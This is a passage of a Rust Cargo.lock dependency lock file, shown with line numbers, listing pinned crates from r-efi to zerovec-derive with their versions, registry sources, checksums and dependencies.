"r-efi" 627 | version = "5.3.0" 628 | source = "registry+https://github.com/rust-lang/crates.io-index" 629 | checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" 630 | 631 | [[package]] 632 | name = "reqwest" 633 | version = "0.11.27" 634 | source = "registry+https://github.com/rust-lang/crates.io-index" 635 | checksum = "dd67538700a17451e7cba03ac727fb961abb7607553461627b97de0b89cf4a62" 636 | dependencies = [ 637 | "base64", 638 | "bytes", 639 | "encoding_rs", 640 | "futures-core", 641 | "futures-util", 642 | "h2", 643 | "http", 644 | "http-body", 645 | "hyper", 646 | "hyper-tls", 647 | "ipnet", 648 | "js-sys", 649 | "log", 650 | "mime", 651 | "native-tls", 652 | "once_cell", 653 | "percent-encoding", 654 | "pin-project-lite", 655 | "rustls-pemfile", 656 | "serde", 657 | "serde_json", 658 | "serde_urlencoded", 659 | "sync_wrapper", 660 | "system-configuration", 661 | "tokio", 662 | "tokio-native-tls", 663 | "tower-service", 664 | "url", 665 | "wasm-bindgen", 666 | "wasm-bindgen-futures", 667 | "web-sys", 668 | "winreg", 669 | ] 670 | 671 | [[package]] 672 | name = "rustix" 673 | version = "1.1.2" 674 | source = "registry+https://github.com/rust-lang/crates.io-index" 675 | checksum = "cd15f8a2c5551a84d56efdc1cd049089e409ac19a3072d5037a17fd70719ff3e" 676 | dependencies = [ 677 | "bitflags 2.10.0", 678 | "errno", 679 | "libc", 680 | "linux-raw-sys", 681 | "windows-sys 0.59.0", 682 | ] 683 | 684 | [[package]] 685 | name = "rustls-pemfile" 686 | version = "1.0.4" 687 | source = "registry+https://github.com/rust-lang/crates.io-index" 688 | checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" 689 | dependencies = [ 690 | "base64", 691 | ] 692 | 693 | [[package]] 694 | name = "rustversion" 695 | version = "1.0.22" 696 | source = "registry+https://github.com/rust-lang/crates.io-index" 697 | checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" 698 | 699 | [[package]] 700 | name = "ryu" 701 | version = "1.0.20" 702 | source = "registry+https://github.com/rust-lang/crates.io-index" 703 | checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" 704 | 705 | [[package]] 706 | name = "schannel" 707 | version = "0.1.28" 708 | source = "registry+https://github.com/rust-lang/crates.io-index" 709 | checksum = "891d81b926048e76efe18581bf793546b4c0eaf8448d72be8de2bbee5fd166e1" 710 | dependencies = [ 711 | "windows-sys 0.61.2", 712 | ] 713 | 714 | [[package]] 715 | name = "security-framework" 716 | version = "2.11.1" 717 | source = "registry+https://github.com/rust-lang/crates.io-index" 718 | checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" 719 | dependencies = [ 720 | "bitflags 2.10.0", 721 | "core-foundation", 722 | "core-foundation-sys", 723 | "libc", 724 | "security-framework-sys", 725 | ] 726 | 727 | [[package]] 728 | name = "security-framework-sys" 729 | version = "2.15.0" 730 | source = "registry+https://github.com/rust-lang/crates.io-index" 731 | checksum = "cc1f0cbffaac4852523ce30d8bd3c5cdc873501d96ff467ca09b6767bb8cd5c0" 732 | dependencies = [ 733 | "core-foundation-sys", 734 | "libc", 735 | ] 736 | 737 | [[package]] 738 | name = "serde" 739 | version = "1.0.228" 740 | source = "registry+https://github.com/rust-lang/crates.io-index" 741 | checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" 742 | dependencies = [ 743 | "serde_core", 744 | "serde_derive", 745 | ] 746 | 747 | [[package]] 748 | name = "serde_core" 749 | version = "1.0.228" 750 | source = "registry+https://github.com/rust-lang/crates.io-index" 751 | checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" 752 | dependencies = [ 753 | "serde_derive", 754 | ] 755 | 756 | [[package]] 757 | name = "serde_derive" 758 | version = "1.0.228" 759 | source = "registry+https://github.com/rust-lang/crates.io-index" 760 | checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" 761 | dependencies = [ 762 | "proc-macro2", 763 | "quote", 764 | "syn", 765 | ] 766 | 767 | [[package]] 768 | name = "serde_json" 769 | version = "1.0.145" 770 | source = "registry+https://github.com/rust-lang/crates.io-index" 771 | checksum = "402a6f66d8c709116cf22f558eab210f5a50187f702eb4d7e5ef38d9a7f1c79c" 772 | dependencies = [ 773 | "itoa", 774 | "memchr", 775 | "ryu", 776 | "serde", 777 | "serde_core", 778 | ] 779 | 780 | [[package]] 781 | name = "serde_urlencoded" 782 | version = "0.7.1" 783 | source = "registry+https://github.com/rust-lang/crates.io-index" 784 | checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" 785 | dependencies = [ 786 | "form_urlencoded", 787 | "itoa", 788 | "ryu", 789 | "serde", 790 | ] 791 | 792 | [[package]] 793 | name = "shlex" 794 | version = "1.3.0" 795 | source = "registry+https://github.com/rust-lang/crates.io-index" 796 | checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" 797 | 798 | [[package]] 799 | name = "slab" 800 | version = "0.4.11" 801 | source = "registry+https://github.com/rust-lang/crates.io-index" 802 | checksum = "7a2ae44ef20feb57a68b23d846850f861394c2e02dc425a50098ae8c90267589" 803 | 804 | [[package]] 805 | name = "smallvec" 806 | version = "1.15.1" 807 | source = "registry+https://github.com/rust-lang/crates.io-index" 808 | checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" 809 | 810 | [[package]] 811 | name = "socket2" 812 | version = "0.5.10" 813 | source = "registry+https://github.com/rust-lang/crates.io-index" 814 | checksum = "e22376abed350d73dd1cd119b57ffccad95b4e585a7cda43e286245ce23c0678" 815 | dependencies = [ 816 | "libc", 817 | "windows-sys 0.52.0", 818 | ] 819 | 820 | [[package]] 821 | name = "socket2" 822 | version = "0.6.1" 823 | source = "registry+https://github.com/rust-lang/crates.io-index" 824 | checksum = "17129e116933cf371d018bb80ae557e889637989d8638274fb25622827b03881" 825 | dependencies = [ 826 | "libc", 827 | "windows-sys 0.60.2", 828 | ] 829 | 830 | [[package]] 831 | name = "stable_deref_trait" 832 | version = "1.2.1" 833 | source = "registry+https://github.com/rust-lang/crates.io-index" 834 | checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" 835 | 836 | [[package]] 837 | name = "syn" 838 | version = "2.0.108" 839 | source = "registry+https://github.com/rust-lang/crates.io-index" 840 | checksum = "da58917d35242480a05c2897064da0a80589a2a0476c9a3f2fdc83b53502e917" 841 | dependencies = [ 842 | "proc-macro2", 843 | "quote", 844 | "unicode-ident", 845 | ] 846 | 847 | [[package]] 848 | name = "sync_wrapper" 849 | version = "0.1.2" 850 | source = "registry+https://github.com/rust-lang/crates.io-index" 851 | checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" 852 | 853 | [[package]] 854 | name = "synstructure" 855 | version = "0.13.2" 856 | source = "registry+https://github.com/rust-lang/crates.io-index" 857 | checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" 858 | dependencies = [ 859 | "proc-macro2", 860 | "quote", 861 | "syn", 862 | ] 863 | 864 | [[package]] 865 | name = "system-configuration" 866 | version = "0.5.1" 867 | source = "registry+https://github.com/rust-lang/crates.io-index" 868 | checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" 869 | dependencies = [ 870 | "bitflags 1.3.2", 871 | "core-foundation", 872 | "system-configuration-sys", 873 | ] 874 | 875 | [[package]] 876 | name = "system-configuration-sys" 877 | version = "0.5.0" 878 | source = "registry+https://github.com/rust-lang/crates.io-index" 879 | checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" 880 | dependencies = [ 881 | "core-foundation-sys", 882 | "libc", 883 | ] 884 | 885 | [[package]] 886 | name = "tempfile" 887 | version = "3.23.0" 888 | source = "registry+https://github.com/rust-lang/crates.io-index" 889 | checksum = "2d31c77bdf42a745371d260a26ca7163f1e0924b64afa0b688e61b5a9fa02f16" 890 | dependencies = [ 891 | "fastrand", 892 | "getrandom", 893 | "once_cell", 894 | "rustix", 895 | "windows-sys 0.59.0", 896 | ] 897 | 898 | [[package]] 899 | name = "tinystr" 900 | version = "0.8.2" 901 | source = "registry+https://github.com/rust-lang/crates.io-index" 902 | checksum = "42d3e9c45c09de15d06dd8acf5f4e0e399e85927b7f00711024eb7ae10fa4869" 903 | dependencies = [ 904 | "displaydoc", 905 | "zerovec", 906 | ] 907 | 908 | [[package]] 909 | name = "tokio" 910 | version = "1.48.0" 911 | source = "registry+https://github.com/rust-lang/crates.io-index" 912 | checksum = "ff360e02eab121e0bc37a2d3b4d4dc622e6eda3a8e5253d5435ecf5bd4c68408" 913 | dependencies = [ 914 | "bytes", 915 | "libc", 916 | "mio", 917 | "pin-project-lite", 918 | "socket2 0.6.1", 919 | "windows-sys 0.61.2", 920 | ] 921 | 922 | [[package]] 923 | name = "tokio-native-tls" 924 | version = "0.3.1" 925 | source = "registry+https://github.com/rust-lang/crates.io-index" 926 | checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" 927 | dependencies = [ 928 | "native-tls", 929 | "tokio", 930 | ] 931 | 932 | [[package]] 933 | name = "tokio-util" 934 | version = "0.7.16" 935 | source = "registry+https://github.com/rust-lang/crates.io-index" 936 | checksum = "14307c986784f72ef81c89db7d9e28d6ac26d16213b109ea501696195e6e3ce5" 937 | dependencies = [ 938 | "bytes", 939 | "futures-core", 940 | "futures-sink", 941 | "pin-project-lite", 942 | "tokio", 943 | ] 944 | 945 | [[package]] 946 | name = "tower-service" 947 | version = "0.3.3" 948 | source = "registry+https://github.com/rust-lang/crates.io-index" 949 | checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" 950 | 951 | [[package]] 952 | name = "tracing" 953 | version = "0.1.41" 954 | source = "registry+https://github.com/rust-lang/crates.io-index" 955 | checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0" 956 | dependencies = [ 957 | "pin-project-lite", 958 | "tracing-core", 959 | ] 960 | 961 | [[package]] 962 | name = "tracing-core" 963 | version = "0.1.34" 964 | source = "registry+https://github.com/rust-lang/crates.io-index" 965 | checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678" 966 | dependencies = [ 967 | "once_cell", 968 | ] 969 | 970 | [[package]] 971 | name = "try-lock" 972 | version = "0.2.5" 973 | source = "registry+https://github.com/rust-lang/crates.io-index" 974 | checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" 975 | 976 | [[package]] 977 | name = "unicode-ident" 978 | version = "1.0.20" 979 | source = "registry+https://github.com/rust-lang/crates.io-index" 980 | checksum = "462eeb75aeb73aea900253ce739c8e18a67423fadf006037cd3ff27e82748a06" 981 | 982 | [[package]] 983 | name = "url" 984 | version = "2.5.7" 985 | source = "registry+https://github.com/rust-lang/crates.io-index" 986 | checksum = "08bc136a29a3d1758e07a9cca267be308aeebf5cfd5a10f3f67ab2097683ef5b" 987 | dependencies = [ 988 | "form_urlencoded", 989 | "idna", 990 | "percent-encoding", 991 | "serde", 992 | ] 993 | 994 | [[package]] 995 | name = "utf8_iter" 996 | version = "1.0.4" 997 | source = "registry+https://github.com/rust-lang/crates.io-index" 998 | checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" 999 | 1000 | [[package]] 1001 | name = "vcpkg" 1002 | version = "0.2.15" 1003 | source = "registry+https://github.com/rust-lang/crates.io-index" 1004 | checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" 1005 | 1006 | [[package]] 1007 | name = "want" 1008 | version = "0.3.1" 1009 | source = "registry+https://github.com/rust-lang/crates.io-index" 1010 | checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" 1011 | dependencies = [ 1012 | "try-lock", 1013 | ] 1014 | 1015 | [[package]] 1016 | name = "wasi" 1017 | version = "0.11.1+wasi-snapshot-preview1" 1018 | source = "registry+https://github.com/rust-lang/crates.io-index" 1019 | checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" 1020 | 1021 | [[package]] 1022 | name = "wasip2" 1023 | version = "1.0.1+wasi-0.2.4" 1024 | source = "registry+https://github.com/rust-lang/crates.io-index" 1025 | checksum = "0562428422c63773dad2c345a1882263bbf4d65cf3f42e90921f787ef5ad58e7" 1026 | dependencies = [ 1027 | "wit-bindgen", 1028 | ] 1029 | 1030 | [[package]] 1031 | name = "wasm-bindgen" 1032 | version = "0.2.105" 1033 | source = "registry+https://github.com/rust-lang/crates.io-index" 1034 | checksum = "da95793dfc411fbbd93f5be7715b0578ec61fe87cb1a42b12eb625caa5c5ea60" 1035 | dependencies = [ 1036 | "cfg-if", 1037 | "once_cell", 1038 | "rustversion", 1039 | "wasm-bindgen-macro", 1040 | "wasm-bindgen-shared", 1041 | ] 1042 | 1043 | [[package]] 1044 | name = "wasm-bindgen-futures" 1045 | version = "0.4.55" 1046 | source = "registry+https://github.com/rust-lang/crates.io-index" 1047 | checksum = "551f88106c6d5e7ccc7cd9a16f312dd3b5d36ea8b4954304657d5dfba115d4a0" 1048 | dependencies = [ 1049 | "cfg-if", 1050 | "js-sys", 1051 | "once_cell", 1052 | "wasm-bindgen", 1053 | "web-sys", 1054 | ] 1055 | 1056 | [[package]] 1057 | name = "wasm-bindgen-macro" 1058 | version = "0.2.105" 1059 | source = "registry+https://github.com/rust-lang/crates.io-index" 1060 | checksum = "04264334509e04a7bf8690f2384ef5265f05143a4bff3889ab7a3269adab59c2" 1061 | dependencies = [ 1062 | "quote", 1063 | "wasm-bindgen-macro-support", 1064 | ] 1065 | 1066 | [[package]] 1067 | name = "wasm-bindgen-macro-support" 1068 | version = "0.2.105" 1069 | source = "registry+https://github.com/rust-lang/crates.io-index" 1070 | checksum = "420bc339d9f322e562942d52e115d57e950d12d88983a14c79b86859ee6c7ebc" 1071 | dependencies = [ 1072 | "bumpalo", 1073 | "proc-macro2", 1074 | "quote", 1075 | "syn", 1076 | "wasm-bindgen-shared", 1077 | ] 1078 | 1079 | [[package]] 1080 | name = "wasm-bindgen-shared" 1081 | version = "0.2.105" 1082 | source = "registry+https://github.com/rust-lang/crates.io-index" 1083 | checksum = "76f218a38c84bcb33c25ec7059b07847d465ce0e0a76b995e134a45adcb6af76" 1084 | dependencies = [ 1085 | "unicode-ident", 1086 | ] 1087 | 1088 | [[package]] 1089 | name = "web-sys" 1090 | version = "0.3.82" 1091 | source = "registry+https://github.com/rust-lang/crates.io-index" 1092 | checksum = "3a1f95c0d03a47f4ae1f7a64643a6bb97465d9b740f0fa8f90ea33915c99a9a1" 1093 | dependencies = [ 1094 | "js-sys", 1095 | "wasm-bindgen", 1096 | ] 1097 | 1098 | [[package]] 1099 | name = "windows-link" 1100 | version = "0.2.1" 1101 | source = "registry+https://github.com/rust-lang/crates.io-index" 1102 | checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" 1103 | 1104 | [[package]] 1105 | name = "windows-sys" 1106 | version = "0.48.0" 1107 | source = "registry+https://github.com/rust-lang/crates.io-index" 1108 | checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" 1109 | dependencies = [ 1110 | "windows-targets 0.48.5", 1111 | ] 1112 | 1113 | [[package]] 1114 | name = "windows-sys" 1115 | version = "0.52.0" 1116 | source = "registry+https://github.com/rust-lang/crates.io-index" 1117 | checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" 1118 | dependencies = [ 1119 | "windows-targets 0.52.6", 1120 | ] 1121 | 1122 | [[package]] 1123 | name = "windows-sys" 1124 | version = "0.59.0" 1125 | source = "registry+https://github.com/rust-lang/crates.io-index" 1126 | checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" 1127 | dependencies = [ 1128 | "windows-targets 0.52.6", 1129 | ] 1130 | 1131 | [[package]] 1132 | name = "windows-sys" 1133 | version = "0.60.2" 1134 | source = "registry+https://github.com/rust-lang/crates.io-index" 1135 | checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" 1136 | dependencies = [ 1137 | "windows-targets 0.53.5", 1138 | ] 1139 | 1140 | [[package]] 1141 | name = "windows-sys" 1142 | version = "0.61.2" 1143 | source = "registry+https://github.com/rust-lang/crates.io-index" 1144 | checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" 1145 | dependencies = [ 1146 | "windows-link", 1147 | ] 1148 | 1149 | [[package]] 1150 | name = "windows-targets" 1151 | version = "0.48.5" 1152 | source = "registry+https://github.com/rust-lang/crates.io-index" 1153 | checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" 1154 | dependencies = [ 1155 | "windows_aarch64_gnullvm 0.48.5", 1156 | "windows_aarch64_msvc 0.48.5", 1157 | "windows_i686_gnu 0.48.5", 1158 | "windows_i686_msvc 0.48.5", 1159 | "windows_x86_64_gnu 0.48.5", 1160 | "windows_x86_64_gnullvm 0.48.5", 1161 | "windows_x86_64_msvc 0.48.5", 1162 | ] 1163 | 1164 | [[package]] 1165 | name = "windows-targets" 1166 | version = "0.52.6" 1167 | source = "registry+https://github.com/rust-lang/crates.io-index" 1168 | checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" 1169 | dependencies = [ 1170 | "windows_aarch64_gnullvm 0.52.6", 1171 | "windows_aarch64_msvc 0.52.6", 1172 | "windows_i686_gnu 0.52.6", 1173 | "windows_i686_gnullvm 0.52.6", 1174 | "windows_i686_msvc 0.52.6", 1175 | "windows_x86_64_gnu 0.52.6", 1176 | "windows_x86_64_gnullvm 0.52.6", 1177 | "windows_x86_64_msvc 0.52.6", 1178 | ] 1179 | 1180 | [[package]] 1181 | name = "windows-targets" 1182 | version = "0.53.5" 1183 | source = "registry+https://github.com/rust-lang/crates.io-index" 1184 | checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3" 1185 | dependencies = [ 1186 | "windows-link", 1187 | "windows_aarch64_gnullvm 0.53.1", 1188 | "windows_aarch64_msvc 0.53.1", 1189 | "windows_i686_gnu 0.53.1", 1190 | "windows_i686_gnullvm 0.53.1", 1191 | "windows_i686_msvc 0.53.1", 1192 | "windows_x86_64_gnu 0.53.1", 1193 | "windows_x86_64_gnullvm 0.53.1", 1194 | "windows_x86_64_msvc 0.53.1", 1195 | ] 1196 | 1197 | [[package]] 1198 | name = "windows_aarch64_gnullvm" 1199 | version = "0.48.5" 1200 | source = "registry+https://github.com/rust-lang/crates.io-index" 1201 | checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" 1202 | 1203 | [[package]] 1204 | name = "windows_aarch64_gnullvm" 1205 | version = "0.52.6" 1206 | source = "registry+https://github.com/rust-lang/crates.io-index" 1207 | checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" 1208 | 1209 | [[package]] 1210 | name = "windows_aarch64_gnullvm" 1211 | version = "0.53.1" 1212 | source = "registry+https://github.com/rust-lang/crates.io-index" 1213 | checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" 1214 | 1215 | [[package]] 1216 | name = "windows_aarch64_msvc" 1217 | version = "0.48.5" 1218 | source = "registry+https://github.com/rust-lang/crates.io-index" 1219 | checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" 1220 | 1221 | [[package]] 1222 | name = "windows_aarch64_msvc" 1223 | version = "0.52.6" 1224 | source = "registry+https://github.com/rust-lang/crates.io-index" 1225 | checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" 1226 | 1227 | [[package]] 1228 | name = "windows_aarch64_msvc" 1229 | version = "0.53.1" 1230 | source = "registry+https://github.com/rust-lang/crates.io-index" 1231 | checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" 1232 | 1233 | [[package]] 1234 | name = "windows_i686_gnu" 1235 | version = "0.48.5" 1236 | source = "registry+https://github.com/rust-lang/crates.io-index" 1237 | checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" 1238 | 1239 | [[package]] 1240 | name = "windows_i686_gnu" 1241 | version = "0.52.6" 1242 | source = "registry+https://github.com/rust-lang/crates.io-index" 1243 | checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" 1244 | 1245 | [[package]] 1246 | name = "windows_i686_gnu" 1247 | version = "0.53.1" 1248 | source = "registry+https://github.com/rust-lang/crates.io-index" 1249 | checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3" 1250 | 1251 | [[package]] 1252 | name = "windows_i686_gnullvm" 1253 | version = "0.52.6" 1254 | source = "registry+https://github.com/rust-lang/crates.io-index" 1255 | checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" 1256 | 1257 | [[package]] 1258 | name = "windows_i686_gnullvm" 1259 | version = "0.53.1" 1260 | source = "registry+https://github.com/rust-lang/crates.io-index" 1261 | checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" 1262 | 1263 | [[package]] 1264 | name = "windows_i686_msvc" 1265 | version = "0.48.5" 1266 | source = "registry+https://github.com/rust-lang/crates.io-index" 1267 | checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" 1268 | 1269 | [[package]] 1270 | name = "windows_i686_msvc" 1271 | version = "0.52.6" 1272 | source = "registry+https://github.com/rust-lang/crates.io-index" 1273 | checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" 1274 | 1275 | [[package]] 1276 | name = "windows_i686_msvc" 1277 | version = "0.53.1" 1278 | source = "registry+https://github.com/rust-lang/crates.io-index" 1279 | checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" 1280 | 1281 | [[package]] 1282 | name = "windows_x86_64_gnu" 1283 | version = "0.48.5" 1284 | source = "registry+https://github.com/rust-lang/crates.io-index" 1285 | checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" 1286 | 1287 | [[package]] 1288 | name = "windows_x86_64_gnu" 1289 | version = "0.52.6" 1290 | source = "registry+https://github.com/rust-lang/crates.io-index" 1291 | checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" 1292 | 1293 | [[package]] 1294 | name = "windows_x86_64_gnu" 1295 | version = "0.53.1" 1296 | source = "registry+https://github.com/rust-lang/crates.io-index" 1297 | checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" 1298 | 1299 | [[package]] 1300 | name = "windows_x86_64_gnullvm" 1301 | version = "0.48.5" 1302 | source = "registry+https://github.com/rust-lang/crates.io-index" 1303 | checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" 1304 | 1305 | [[package]] 1306 | name = "windows_x86_64_gnullvm" 1307 | version = "0.52.6" 1308 | source = "registry+https://github.com/rust-lang/crates.io-index" 1309 | checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" 1310 | 1311 | [[package]] 1312 | name = "windows_x86_64_gnullvm" 1313 | version = "0.53.1" 1314 | source = "registry+https://github.com/rust-lang/crates.io-index" 1315 | checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" 1316 | 1317 | [[package]] 1318 | name = "windows_x86_64_msvc" 1319 | version = "0.48.5" 1320 | source = "registry+https://github.com/rust-lang/crates.io-index" 1321 | checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" 1322 | 1323 | [[package]] 1324 | name = "windows_x86_64_msvc" 1325 | version = "0.52.6" 1326 | source = "registry+https://github.com/rust-lang/crates.io-index" 1327 | checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" 1328 | 1329 | [[package]] 1330 | name = "windows_x86_64_msvc" 1331 | version = "0.53.1" 1332 | source = "registry+https://github.com/rust-lang/crates.io-index" 1333 | checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" 1334 | 1335 | [[package]] 1336 | name = "winreg" 1337 | version = "0.50.0" 1338 | source = "registry+https://github.com/rust-lang/crates.io-index" 1339 | checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" 1340 | dependencies = [ 1341 | "cfg-if", 1342 | "windows-sys 0.48.0", 1343 | ] 1344 | 1345 | [[package]] 1346 | name = "wit-bindgen" 1347 | version = "0.46.0" 1348 | source = "registry+https://github.com/rust-lang/crates.io-index" 1349 | checksum = "f17a85883d4e6d00e8a97c586de764dabcc06133f7f1d55dce5cdc070ad7fe59" 1350 | 1351 | [[package]] 1352 | name = "writeable" 1353 | version = "0.6.2" 1354 | source = "registry+https://github.com/rust-lang/crates.io-index" 1355 | checksum = "9edde0db4769d2dc68579893f2306b26c6ecfbe0ef499b013d731b7b9247e0b9" 1356 | 1357 | [[package]] 1358 | name = "yoke" 1359 | version = "0.8.1" 1360 | source = "registry+https://github.com/rust-lang/crates.io-index" 1361 | checksum = "72d6e5c6afb84d73944e5cedb052c4680d5657337201555f9f2a16b7406d4954" 1362 | dependencies = [ 1363 | "stable_deref_trait", 1364 | "yoke-derive", 1365 | "zerofrom", 1366 | ] 1367 | 1368 | [[package]] 1369 | name = "yoke-derive" 1370 | version = "0.8.1" 1371 | source = "registry+https://github.com/rust-lang/crates.io-index" 1372 | checksum = "b659052874eb698efe5b9e8cf382204678a0086ebf46982b79d6ca3182927e5d" 1373 | dependencies = [ 1374 | "proc-macro2", 1375 | "quote", 1376 | "syn", 1377 | "synstructure", 1378 | ] 1379 | 1380 | [[package]] 1381 | name = "zerofrom" 1382 | version = "0.1.6" 1383 | source = "registry+https://github.com/rust-lang/crates.io-index" 1384 | checksum = "50cc42e0333e05660c3587f3bf9d0478688e15d870fab3346451ce7f8c9fbea5" 1385 | dependencies = [ 1386 | "zerofrom-derive", 1387 | ] 1388 | 1389 | [[package]] 1390 | name = "zerofrom-derive" 1391 | version = "0.1.6" 1392 | source = "registry+https://github.com/rust-lang/crates.io-index" 1393 | checksum = "d71e5d6e06ab090c67b5e44993ec16b72dcbaabc526db883a360057678b48502" 1394 | dependencies = [ 1395 | "proc-macro2", 1396 | "quote", 1397 | "syn", 1398 | "synstructure", 1399 | ] 1400 | 1401 | [[package]] 1402 | name = "zerotrie" 1403 | version = "0.2.3" 1404 | source = "registry+https://github.com/rust-lang/crates.io-index" 1405 | checksum = "2a59c17a5562d507e4b54960e8569ebee33bee890c70aa3fe7b97e85a9fd7851" 1406 | dependencies = [ 1407 | "displaydoc", 1408 | "yoke", 1409 | "zerofrom", 1410 | ] 1411 | 1412 | [[package]] 1413 | name = "zerovec" 1414 | version = "0.11.5" 1415 | source = "registry+https://github.com/rust-lang/crates.io-index" 1416 | checksum = "6c28719294829477f525be0186d13efa9a3c602f7ec202ca9e353d310fb9a002" 1417 | dependencies = [ 1418 | "yoke", 1419 | "zerofrom", 1420 | "zerovec-derive", 1421 | ] 1422 | 1423 | [[package]] 1424 | name = "zerovec-derive" 1425 | version = "0.11.2" 1426 | source = "registry+https://github.com/rust-lang/crates.io-index" 1427 | checksum = "eadce39539ca5cb3985590102671f2567e659fca9666581ad3411d59207951f3" 1428 | dependencies = [ 1429 | "proc-macro2", 1430 | "quote", 1431 | "syn", 1432 | ] 1433 | --------------------------------------------------------------------------------